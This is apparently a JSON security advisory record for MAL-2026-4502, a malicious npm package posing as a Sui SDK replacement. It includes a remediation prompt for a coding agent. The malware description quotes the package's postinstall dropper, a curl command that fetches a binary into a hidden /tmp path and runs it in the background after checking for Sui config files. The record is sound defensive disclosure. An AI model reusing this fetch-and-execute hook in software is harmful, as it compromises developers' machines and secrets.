{"answers":{"affected":"1 open source package ship an affected version, including bucket-protocol-sdk-v2.","exploited":"There is no known exploitation of MAL-2026-4502 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-4502 is a malicious package in bucket-protocol-sdk-v2, published on 20 May 2026."},"fix_prompt":"MAL-2026-4502 is a malicious package: bucket-protocol-sdk-v2 (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-4502/ (Markdown: https://insights.sbomify.com/MAL-2026-4502/index.md)","id":"MAL-2026-4502","markdown":"https://insights.sbomify.com/MAL-2026-4502/index.md","name":"MAL-2026-4502","record":{"aliases":["GHSA-23pf-2cqf-xh64"],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"bucket-protocol-sdk-v2 advertises itself as a 'community maintained drop-in replacement' for the Sui ecosystem's bucket-protocol-sdk, but its src/ tree contains only empty stubs (`bucket.ts: export {};`, `index.ts: export * from './bucket';`) — no real SDK code is shipped. The entire payload is the postinstall hook. package.json declares `\"postinstall\": \"node install.js\"`; install.js checks whether the host is a Sui developer (presence of the `sui` binary or `~/.sui/sui_config/client.yaml`) and then runs `curl -s -L -o /tmp/.sui-helper ${implantUrl} \u0026\u0026 chmod +x /tmp/.sui-helper \u0026\u0026 /tmp/.sui-helper \u0026` to fetch, stage, and background-execute an attacker binary at a hidden /tmp path. The variable is literally named `implantUrl` with the comment `PUT YOUR ACTUAL 0x0.st URL HERE`, identifying the intended payload host as the anonymous 0x0.st file dump. The URL is currently an empty string in this published version (staged/broken release), so today's install does not actually fetch a binary, but the dropper scaffolding, target-gating, hidden staging path, backgrounded execution, and typosquat-of-a-Sui-SDK lure are unambiguous. Any subsequent republish trivially fills the URL. The combination of hostile-named scaffolding, dev-machine-targeting gate, anonymous-host comment, and hollow library content satisfies the namespace-abuse-typosquat-with-payload and generic-binary-runner-dropper patterns.\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in bucket-protocol-sdk-v2 (npm)","id":"MAL-2026-4502","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":[],"package":"bucket-protocol-sdk-v2","purl":"pkg:npm/bucket-protocol-sdk-v2","source":"MAL-2026-4502"}],"products":null,"published":"2026-05-20","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-4502/"}